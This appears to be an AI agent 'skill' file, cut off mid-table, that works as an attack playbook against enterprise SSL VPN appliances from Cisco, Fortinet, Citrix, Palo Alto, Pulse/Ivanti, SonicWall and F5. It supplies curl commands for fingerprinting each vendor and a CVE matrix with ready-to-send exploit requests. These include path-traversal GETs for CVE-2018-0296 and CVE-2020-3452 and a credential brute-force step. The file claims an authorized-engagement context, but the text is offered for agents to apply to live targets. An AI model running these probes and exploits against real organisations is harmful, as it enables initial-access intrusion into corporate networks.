Enterprise vpn attack
/SKILLExternal SSL VPN / remote-access appliance attack matrix - Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure,
name: enterprise-vpn-attack
description: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
sources: authorized-engagement, public-advisories, cisa-kev
report_count: 1
When to use this skill
Trigger when recon surfaces:
*.<client>.example/+CSCOE+/logon.htmlor similar+CSCOE+paths → Cisco ASA / AnyConnectintranet.*/vpn.*/connect.*/webvpn.*/wc.*/remote.*subdomains- Port 443 returning login pages with
Server: Apacheor banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti" - TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
- HTTP responses with
Set-Cookie: webvpn=(Cisco) /SVPNCOOKIE=(Fortinet) /NSC_AAA=(Citrix) /DSAuthSession=(Pulse) /BIGipServer*(F5)
DO NOT use for:
- Internal lateral-movement post-foothold (out of scope per user's boundary)
- VPN client-side bugs (different attack class)
- IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
Vendor identification (fingerprinting)
Cisco ASA / AnyConnect
curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpointFortinet FortiGate / FortiOS
curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"Version: /remote/info sometimes leaks (older), or /login?username= 302 response
Citrix NetScaler / ADC / Gateway
curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"
# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 eraPalo Alto GlobalProtect
curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"
# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'Pulse Secure / Ivanti Connect Secure
curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"
# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'SonicWall NetExtender / SMA
curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"F5 Big-IP / APM
curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)CVE matrix — pre-auth or auth-bypass (2018-2026)
Cisco ASA / AnyConnect
| CVE | Affects | Type | Test |
|---|---|---|---|
| CVE-2018-0296 | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua |
| CVE-2020-3452 | ASA, FTD before specific patch levels | Path traversal — file read | GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua and variations |
| CVE-2023-20269 | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against /+webvpn+/index.html |
| CVE-2024-20481 | RAVPN | DoS via crafted handshake | **SKIP in red team — disrupti |
